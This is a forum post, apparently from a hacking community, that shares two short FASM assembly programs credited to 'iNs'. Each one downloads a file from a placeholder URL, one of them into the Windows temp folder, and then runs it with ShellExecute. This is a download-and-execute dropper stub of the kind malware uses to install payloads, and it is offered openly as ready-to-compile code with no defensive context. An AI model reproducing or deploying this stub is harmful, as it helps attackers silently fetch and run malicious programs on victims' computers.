Jump to content
Nytro

[FASM] Simple Downloader + Execute and save in TempPath

Recommended Posts

;Simple Downloader + Execute (1.50kb compiled)
;by iNs
;activespy.org

include 'win32ax.inc'

.code
inizio:
invoke URLDownloadToFile,NULL,"http://www.site.com/filetodownload.ext","C:\downloaded.txt",NULL,NULL ;download file
invoke ShellExecute,0,0,"C:\downloaded.txt",0,0,SW_SHOW ;run downloaded file
invoke ExitProcess,0

.end inizio

Download file in TempPath (2kb compiled) :

;Simple Downloader + Execute
;Save file in TempPath
; by iNs
; activespy.org

include 'win32ax.inc'

.data
TmpName db 'new.txt',0
Tmpdir rb 256d ;256chrs

.code
inizio:
invoke GetTempPath,Tmpdir,Tmpdir ;get temppath
invoke lstrcat,Tmpdir,TmpName ;append
invoke lstrcpy,TmpName,Tmpdir ;copy
invoke URLDownloadToFile,NULL,"http://www.site.org/a.txt",TmpName,NULL,NULL ;download file in temppath
invoke ShellExecute,0,0,TmpName,0,0,SW_SHOW ;run downloaded file
invoke Sleep,3000 ;sleep 3 seconds
invoke ExitProcess,0 ;quit

.end inizio

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...